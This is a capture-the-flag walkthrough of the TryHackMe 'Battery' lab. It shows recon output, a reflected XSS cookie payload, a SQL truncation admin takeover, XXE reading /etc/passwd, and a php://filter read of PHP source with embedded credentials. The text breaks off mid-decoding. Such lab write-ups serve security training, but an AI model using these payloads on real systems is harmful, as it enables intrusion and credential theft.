TryHackMe | Battery | WALKTHROUGH This article is a walkthrough for the "Battery" lab on TryHackMe, a medium-difficulty challenge requiring the capture of three flags (flag1.txt, flag2.txt, root.txt). The author details using Nmap to discover open ports (SSH and HTTP), Gobuster to find hidden directories like an admin panel, and identifies vulnerabilities including SQL Truncation and XML External Entity Injection. The walkthrough also notes a 12-character input limit on the login form and a reflected XSS vulnerability in the Transfer Money feature. LAB: Battery DIFFICULTY: Medium TARGET: flag1.txt, flag2.txt, root.txt TOOLS: Nmap, Gobuster, BurpSuite VULNERABLE: SQL Truncation Attack, XML External Entity Injection First, let's do some recon using NMAP: - -sC - Default script scan - -sV - Version detection - -O - OS detection sudo nmap -sC -sV -O {LABS IP ADDRESS} Starting Nmap 7.98 https://nmap.org at 2026-05-22 22:13 +0800 Nmap scan report for {LABS IP ADDRESS} Host is up 0.28s latency . Not shown: 998 closed tcp ports reset PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 Ubuntu Linux; protocol 2.0 | ssh-hostkey: | 1024 14:6b:67:4c:1e:89:eb:cd:47:a2:40:6f:5f:5c:8c:c2 DSA | 2048 66:42:f7:91:e4:7b:c6:7e:47:17:c6:27:a7:bc:6e:73 RSA | 256 a8:6a:92:ca:12:af:85:42:e4:9c:2b:0e:b5:fb:a8:8b ECDSA | 256 62:e4:a3:f6:c6:19:ad:30:0a:30:a1:eb:4a:d3:12:d3 ED25519 80/tcp open http Apache httpd 2.4.7 Ubuntu | http-title: Site doesn't have a title text/html . | http-server-header: Apache/2.4.7 Ubuntu No exact OS matches for host If you know what OS is running on it, see https://nmap.org/submit/ . TCP/IP fingerprint: OS:SCAN V=7.98%E=4%D=5/22%OT=22%CT=1%CU=34654%PV=Y%DS=3%DC=I%G=Y%TM=6A1064C OS:3%P=x86 64-apple-darwin23.6.0 SEQ SP=102%GCD=1%ISR=108%TI=Z%CI=I%II=I%TS OS:=8 SEQ SP=105%GCD=1%ISR=10B%TI=Z%CI=I%II=I%TS=8 SEQ SP=105%GCD=1%ISR=10D OS:%TI=Z%CI=I%II=I%TS=8 SEQ SP=108%GCD=1%ISR=108%TI=Z%CI=I%II=I%TS=8 SEQ SP OS:=108%GCD=1%ISR=10A%TI=Z%CI=I%II=I%TS=8 OPS O1=M4E8ST11NW6%O2=M4E8ST11NW6 OS:%O3=M4E8NNT11NW6%O4=M4E8ST11NW6%O5=M4E8ST11NW6%O6=M4E8ST11 WIN W1=68DF%W OS:2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF ECN R=Y%DF=Y%T=40%W=6903%O=M4E8NN OS:SNW6%CC=Y%Q= T1 R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q= T2 R=N T3 R=N T4 R=Y OS:%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q= T5 R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR OS:%O=%RD=0%Q= T6 R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q= T7 R=Y%DF=Y%T=40 OS:%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q= U1 R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G OS:%RIPCK=G%RUCK=G%RUD=G IE R=Y%DFI=N%T=40%CD=S Network Distance: 3 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux kernel OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address 1 host up scanned in 38.38 seconds Here we got open ports: ssh/22 & http/80 Now, i'm going to check whats in port 80: Here we have a webpage but nothing interesting here. So we need to use Gobuster to find hidden directories. =============================================================== Gobuster v3.8.2 by OJ Reeves @TheColonial & Christian Mehlmauer @firefart =============================================================== + Url: http://{LABS IP ADDRESS}/ + Method: GET + Threads: 10 + Wordlist: Documents/pentesting/SecLists-master/Discovery/Web-Content/common.txt + Negative Status codes: 404 + User Agent: gobuster/3.8.2 + Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== .htaccess Status: 403 Size: 288 .hta Status: 403 Size: 283 .htpasswd Status: 403 Size: 288 admin.php Status: 200 Size: 663 index.html Status: 200 Size: 406 report Status: 200 Size: 16912 scripts Status: 301 Size: 313 -- http://{LABS IP ADDRESS}/scripts/ server-status Status: 403 Size: 292 Progress: 4751 / 4751 100.00% =============================================================== Finished =============================================================== We got 3 directories to check. Let's start with /admin.php . I tried some fake credentials to make sure if it has Information Disclosure , Rate Limiting , or SQL Injection . But what I found instead is that the login page has a 12-character input limit on the username field. We will come back here but first let's register and check how admin panel looks like. I discovered reflected XSS in the Account Number parameter of the Transfer Money endpoint. The app fails to encode or validate my input before reflecting it in the HTTP response. This allowed me to execute alert document.cookie and view John's which we registered as session cookie. I also discovered that the app is vulnerable to HTML injection . By inserting HTML tags into the input field, I was able to alter the page's content and inject custom messages — including the 'HACKED ' notice shown in the transaction failure message. Before diving deeper, let's check what we got in /report . When you visit http://{LABS IP ADDRESS}/report it gives you a file called report . It's an executable file. We can just hit strings or go with Ghidra. I always start with simple, so let's use strings : /lib64/ld-linux-x86-64.so.2 isoc99 scanf puts printf system cxa finalize strcmp libc start main libc.so.6 GLIBC 2.7 GLIBC 2.2.5 ITM deregisterTMCloneTable gmon start ITM registerTMCloneTable u/UH A\A A^A admin@bank.a Password Updated Successfully Sorry you can't update the password Welcome Guest ===================Available Options============== 1. Check users 2. Add user 3. Delete user 4. change password 5. Exit clear ===============List of active users================ support@bank.a contact@bank.a cyber@bank.a admins@bank.a sam@bank.a admin0@bank.a super user@bank.a control admin@bank.a it admin@bank.a Welcome To ABC DEF Bank Managemet System UserName : Password : guest Your Choice : email : not available for guest account Wrong option Wrong username or password ; 3$" GCC: Debian 9.3.0-15 9.3.0 crtstuff.c deregister tm clones do global dtors aux completed.7452 do global dtors aux fini array entry frame dummy frame dummy init array entry report.c FRAME END init array end DYNAMIC init array start GNU EH FRAME HDR GLOBAL OFFSET TABLE libc csu fini update ITM deregisterTMCloneTable puts@@GLIBC 2.2.5 edata options system@@GLIBC 2.2.5 users printf@@GLIBC 2.2.5 libc start main@@GLIBC 2.2.5 data start strcmp@@GLIBC 2.2.5 gmon start dso handle IO stdin used libc csu init bss start main isoc99 scanf@@GLIBC 2.7 TMC END ITM registerTMCloneTable cxa finalize@@GLIBC 2.2.5 .symtab .strtab .shstrtab .interp .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version r .rela.dyn .rela.plt .init .plt.got .text .fini .rodata .eh frame hdr .eh frame .init array .fini array .dynamic .got.plt .data .bss .comment We have active users listed here. support@bank.a contact@bank.a cyber@bank.a admins@bank.a sam@bank.a admin0@bank.a super user@bank.a control admin@bank.a it admin@bank.a But first let's check how the system works using Ghidra . I found a hardcoded admin email admin@bank.a inside the update function. The code compares whatever email I give it with that hardcoded value. If they match, I get to update the password. If not, I'm denied. This means anyone can extract this email from the binary using Ghidra or strings and then use it to gain admin access — no authentication needed. Now still we need password to login. Remember that we had some flaws. We found that there is 12-character limitation in login form. We can use it to register as admin@bank.a . We're going take advantage of SQL Truncation Flaw . IMPORTANT First take time to understand the attack. HOW SQL Truncation Flaw WORKS? - The database or application cuts off truncates your input after a certain length, and an attacker uses this to bypass security checks. The Attack - The attacker adds extra characters like spaces beyond the column limit so the application checks the full input safe , but the database only stores the truncated portion which is dangerous, allowing the attacker to inject forbidden values like duplicate usernames or escalate privileges. In our case: - admin@bank.a xxx gets truncated to admin@bank.a , allowing us to reset the admin's password and login as admin. Now let's HACK ; We go to register page and enter following credentials: php username: admin@bank.a xxx - spaces after admin as you wish password: YourPasswordHere Now my favorite part. Let's use BurpSuite. You can use Chromium in BurpSuite or FoxyProxy to capture the request. Go to Proxy tab in BurpSuite and Intercept the request to modify it. After forwarding the request, we logged in as admin. If we go to command tab, there is another form. Let's check what happens in the background.If we go to command tab, there is another form. Let's check what happens in the background. This is an XML request. Let's simply try XXE XML External Entity . After sending request. It shows us Linux system file that stores user account information. root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System admin :/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false messagebus:x:102:106::/var/run/dbus:/bin/false landscape:x:103:109::/var/lib/landscape:/bin/false sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin cyber:x:1000:1000:cyber,,,:/home/cyber:/bin/bash mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false yash:x:1002:1002:,,,:/home/yash:/bin/bash Looking that we got usernames called cyber and yash . We can login SSH server using this credentials. But first, I couldn't read /acc.php directly because the server executes PHP files instead of returning their source code. So I used php://filter/convert.base64-encode/resource= to read the file as Base64-encoded text, then decoded it to see the actual PHP code and look for passwords. PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KPHN0eWxlPgpmb3JtCnsKICBib3JkZXI6IDJweCBzb2xpZCBibGFjazsKICBvdXRsaW5lOiAjNENBRjUwIHNvbGlkIDNweDsKICBtYXJnaW46IGF1dG87CiAgd2lkdGg6MTgwcHg7CiAgcGFkZGluZzogMjBweDsKICB0ZXh0LWFsaWduOiBjZW50ZXI7Cn0KCgp1bCB7CiAgbGlzdC1zdHlsZS10eXBlOiBub25lOwogIG1hcmdpbjogMDsKICBwYWRkaW5nOiAwOwogIG92ZXJmbG93OiBoaWRkZW47CiAgYmFja2dyb3VuZC1jb2xvcjogIzMzMzsKfQoKbGkgewogIGZsb2F0OiBsZWZ0OwogIGJvcmRlci1yaWdodDoxcHggc29saWQgI2JiYjsKfQoKbGk6bGFzdC1jaGlsZCB7CiAgYm9yZGVyLXJpZ2h0OiBub25lOwp9CgpsaSBhIHsKICBkaXNwbGF5OiBibG9jazsKICBjb2xvcjogd2hpdGU7CiAgdGV4dC1hbGlnbjogY2VudGVyOwogIHBhZGRpbmc6IDE0cHggMTZweDsKICB0ZXh0LWRlY29yYXRpb246IG5vbmU7Cn0KCmxpIGE6aG92ZXI6bm90KC5hY3RpdmUpIHsKICBiYWNrZ3JvdW5kLWNvbG9yOiAjMTExOwp9CgouYWN0aXZlIHsKICBiYWNrZ3JvdW5kLWNvbG9yOiBibHVlOwp9Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+Cgo8dWw+CiAgPGxpPjxhIGhyZWY9ImRhc2hib2FyZC5waHAiPkRhc2hib2FyZDwvYT48L2xpPgogIDxsaT48YSBocmVmPSJ3aXRoLnBocCI+V2l0aGRyYXcgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0iZGVwby5waHAiPkRlcG9zaXQgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0idHJhLnBocCI+VHJhbnNmZXIgTW9uZXk8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0iYWNjLnBocCI+TXkgQWNjb3VudDwvYT48L2xpPgogIDxsaT48YSBocmVmPSJmb3Jtcy5waHAiPmNvbW1hbmQ8L2E+PC9saT4KICA8bGk+PGEgaHJlZj0ibG9nb3V0LnBocCI+TG9nb3V0PC9hPjwvbGk+CiAgPGxpIHN0eWxlPSJmbG9hdDpyaWdodCI+PGEgaHJlZj0iY29udGFjdC5waHAiPkNvbnRhY3QgVXM8L2E+PC9saT4KPC91bD48YnI+PGJyPjxicj48YnI+Cgo8L2JvZHk+CjwvaHRtbD4KCjw/cGhwCgpzZXNzaW9uX3N0YXJ0KCk7CmlmKGlzc2V0KCRfU0VTU0lPTlsnZmF2Y29sb3InXSkgYW5kICRfU0VTU0lPTlsnZmF2Y29sb3InXT09PSJhZG1pbkBiYW5rLmEiKQp7CgplY2hvICI8aDMgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+V2VjbG9tZSB0byBBY2NvdW50IGNvbnRyb2wgcGFuZWw8L2gzPiI7CmVjaG8gIjxmb3JtIG1ldGhvZD0nUE9TVCc+IjsKZWNobyAiPGlucHV0IHR5cGU9J3RleHQnIHBsYWNlaG9sZGVyPSdBY2NvdW50IG51bWJlcicgbmFtZT0nYWNubyc+IjsKZWNobyAiPGJyPjxicj48YnI+IjsKZWNobyAiPGlucHV0IHR5cGU9J3RleHQnIHBsYWNlaG9sZGVyPSdNZXNzYWdlJyBuYW1lPSdtc2cnPiI7CmVjaG8gIjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdTZW5kJyBuYW1lPSdidG4nPiI7CmVjaG8gIjwvZm9ybT4iOwovL01ZIENSRURTIDotIGN5YmVyOnN1cGVyI3NlY3VyZSZwYXNzd29yZCEKaWYoaXNzZXQoJF9QT1NUWydidG4nXSkpCnsKJG1zPSRfUE9TVFsnbXNnJ107CmVjaG8gIm1zOiIuJG1zOwppZigkbXM9PT0iaWQiKQp7CnN5c3RlbSgkbXMpOwp9CmVsc2UgaWYoJG1zPT09Indob2FtaSIpCnsKc3lzdGVtKCRtcyk7Cn0KZWxzZQp7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ1JDRSBEZXRlY3RlZCEnKTwvc2NyaXB0PiI7CnNlc3Npb25fZGVzdHJveSgpOwp1bnNldCgkX1NFU1NJT05bJ2ZhdmNvbG9yJ10pOwpoZWFkZXIoIlJlZnJlc2g6IDAuMTsgdXJsPWluZGV4Lmh0bWwiKTsKfQp9Cn0KZWxzZQp7CmVjaG8gIjxzY3JpcHQ+YWxlcnQoJ09ubHkgQWRtaW5zIGNhbiBhY2Nlc3MgdGhpcyBwYWdlIScpPC9zY3JpcHQ+IjsKc2Vzc2lvbl9kZXN0cm95KCk7CnVuc2V0KCRfU0VTU0lPTlsnZmF2Y29sb3InXSk7CmhlYWRlcigiUmVmcmVzaDogMC4xOyB1cmw9aW5kZXguaHRtbCIpOwp9Cj8+Cg== Now lets decode it you can use online decoders just browsing it . < DOCTYPE html